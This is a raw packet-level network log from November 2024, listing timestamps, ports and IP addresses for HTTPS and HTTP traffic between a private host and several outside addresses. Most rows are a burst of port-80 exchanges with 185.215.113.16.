Nov 20, 2024 06:40:21.192964077 CET	49725	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:21.192964077 CET	49725	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:21.193003893 CET	443	49725	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:21.193017960 CET	443	49725	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:21.216447115 CET	49719	443	192.168.2.5	4.175.87.197
Nov 20, 2024 06:40:21.246339083 CET	443	49721	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:21.246500015 CET	443	49721	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:21.246607065 CET	49721	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:21.246607065 CET	49721	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:21.246607065 CET	49721	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:21.249008894 CET	49729	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:21.249044895 CET	443	49729	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:21.249207973 CET	49729	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:21.249387980 CET	49729	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:21.249402046 CET	443	49729	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:21.254966021 CET	443	49722	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:21.255031109 CET	443	49722	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:21.255105972 CET	49722	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:21.255229950 CET	49722	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:21.255229950 CET	49722	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:21.255274057 CET	443	49722	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:21.255302906 CET	443	49722	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:21.259332895 CET	49730	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:21.259340048 CET	443	49719	4.175.87.197	192.168.2.5
Nov 20, 2024 06:40:21.259371042 CET	443	49730	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:21.259490013 CET	49730	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:21.259623051 CET	49730	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:21.259633064 CET	443	49730	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:21.259802103 CET	443	49724	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:21.259864092 CET	443	49724	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:21.259916067 CET	49724	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:21.260034084 CET	49724	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:21.260045052 CET	443	49724	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:21.260078907 CET	49724	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:21.260085106 CET	443	49724	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:21.263325930 CET	49731	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:21.263340950 CET	443	49731	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:21.263492107 CET	49731	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:21.263788939 CET	49731	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:21.263797998 CET	443	49731	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:21.278620958 CET	443	49723	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:21.278690100 CET	443	49723	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:21.278978109 CET	49723	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:21.279063940 CET	49723	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:21.279063940 CET	49723	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:21.279084921 CET	443	49723	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:21.279095888 CET	443	49723	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:21.281807899 CET	49732	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:21.281837940 CET	443	49732	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:21.282152891 CET	49732	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:21.282392025 CET	49732	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:21.282412052 CET	443	49732	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:21.294765949 CET	443	49725	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:21.294919968 CET	443	49725	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:21.294982910 CET	49725	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:21.295018911 CET	49725	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:21.295022011 CET	49725	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:21.295033932 CET	443	49725	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:21.295043945 CET	443	49725	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:21.296895981 CET	49733	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:21.296947002 CET	443	49733	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:21.297059059 CET	49733	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:21.299001932 CET	49733	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:21.299032927 CET	443	49733	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:21.474263906 CET	443	49719	4.175.87.197	192.168.2.5
Nov 20, 2024 06:40:21.474335909 CET	443	49719	4.175.87.197	192.168.2.5
Nov 20, 2024 06:40:21.474359989 CET	443	49719	4.175.87.197	192.168.2.5
Nov 20, 2024 06:40:21.474504948 CET	443	49719	4.175.87.197	192.168.2.5
Nov 20, 2024 06:40:21.474519014 CET	443	49719	4.175.87.197	192.168.2.5
Nov 20, 2024 06:40:21.474523067 CET	49719	443	192.168.2.5	4.175.87.197
Nov 20, 2024 06:40:21.474529982 CET	443	49719	4.175.87.197	192.168.2.5
Nov 20, 2024 06:40:21.474565029 CET	443	49719	4.175.87.197	192.168.2.5
Nov 20, 2024 06:40:21.474586964 CET	49719	443	192.168.2.5	4.175.87.197
Nov 20, 2024 06:40:21.474601984 CET	49719	443	192.168.2.5	4.175.87.197
Nov 20, 2024 06:40:21.474689007 CET	49719	443	192.168.2.5	4.175.87.197
Nov 20, 2024 06:40:21.474787951 CET	443	49719	4.175.87.197	192.168.2.5
Nov 20, 2024 06:40:21.474873066 CET	49719	443	192.168.2.5	4.175.87.197
Nov 20, 2024 06:40:21.474881887 CET	443	49719	4.175.87.197	192.168.2.5
Nov 20, 2024 06:40:21.475100040 CET	443	49719	4.175.87.197	192.168.2.5
Nov 20, 2024 06:40:21.475198984 CET	49719	443	192.168.2.5	4.175.87.197
Nov 20, 2024 06:40:21.559333086 CET	49721	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:21.559335947 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.559362888 CET	443	49721	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:21.559395075 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.702460051 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.778162003 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.778203964 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.778253078 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.778259039 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.778292894 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.778330088 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.778343916 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.778362989 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.778397083 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.778412104 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.778465033 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.778517962 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.778551102 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.778569937 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.778588057 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.778611898 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.778621912 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.778656960 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.778690100 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.778723001 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.778754950 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.778755903 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.778801918 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.778806925 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.778840065 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.778875113 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.778904915 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.778908014 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.778942108 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.778968096 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.778992891 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.779025078 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.779058933 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.779088020 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.779090881 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.779107094 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.779125929 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.779161930 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.779213905 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.779243946 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.779249907 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.779278994 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.779283047 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.779341936 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.779365063 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.779398918 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.779433012 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.779464006 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.779464960 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.779500008 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.779535055 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.779551983 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.779584885 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.779618025 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.779650927 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.779680014 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.779680014 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.779683113 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.779736042 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.779772997 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.779808998 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.779840946 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.779850006 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.779896021 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.779927015 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.779948950 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.779982090 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.780013084 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.780014992 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.780049086 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.780062914 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.780081987 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.780116081 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.780148983 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.780149937 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.780184031 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.780216932 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.780251026 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.780301094 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.780323029 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.780337095 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.780369043 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.780369997 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.780406952 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.780438900 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.780489922 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.780522108 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.780522108 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.780558109 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.780586958 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.780590057 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.780623913 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.780649900 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.780675888 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.780728102 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.780759096 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.780760050 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.780795097 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.780827045 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.780827999 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.780860901 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.780894041 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.780929089 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.780958891 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.780962944 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.780997038 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.781028032 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.781029940 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.781064034 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.781099081 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.781116009 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.781151056 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.781177998 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.781202078 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.781236887 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.781270027 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.781301975 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.781302929 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.781341076 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.781371117 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.781374931 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.781404972 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.781407118 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.781441927 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.781464100 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.781476021 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.781508923 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.781542063 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.781574011 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.781582117 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.781582117 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.781608105 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.781641006 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.781673908 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.781706095 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.781707048 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.781742096 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.781743050 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.781776905 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.781810045 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.781846046 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.781847000 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.781879902 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.781888008 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.781923056 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.781956911 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.781959057 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.781991959 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.782022953 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.782023907 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.782058954 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.782083035 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.782092094 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.782124996 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.782155991 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.782187939 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.782222033 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.782224894 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.782255888 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.782289028 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.782315016 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.782322884 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.782354116 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.782356024 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.782392979 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.782423973 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.782424927 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.782459021 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.782489061 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.782490969 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.782526016 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.782557011 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.782558918 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.782594919 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.782625914 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.782627106 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.782660961 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.782691956 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.782692909 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.782727003 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.782766104 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.782769918 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.782799959 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.782833099 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.782835007 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.782866001 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.782895088 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.782907009 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.782941103 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.782972097 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.782974005 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.783010006 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.783042908 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.783042908 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.783077002 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.783109903 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.783140898 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.783143997 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.783164024 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.783178091 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.783210993 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.783236980 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.783242941 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.783276081 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.783288956 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.783308983 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.783363104 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.783364058 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.783396959 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.783430099 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.783447027 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.783468008 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.783500910 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.783516884 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.783534050 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.783566952 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.783596992 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.783598900 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.783633947 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.783663034 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.783665895 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.783699989 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.783727884 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.783732891 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.783766985 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.783790112 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.783799887 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.783833981 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.783852100 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.783866882 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.783900023 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.783934116 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.783961058 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.783967018 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.783999920 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.784002066 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.784044981 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.784082890 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.784116030 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.784116983 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.784145117 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.784149885 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.784182072 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.784213066 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.784214973 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.784249067 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.784281015 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.784312963 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.784313917 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.784346104 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.784349918 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.784382105 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.784413099 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.784414053 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.784450054 CET	80	49713	185.215.113.16	192.168.2.5
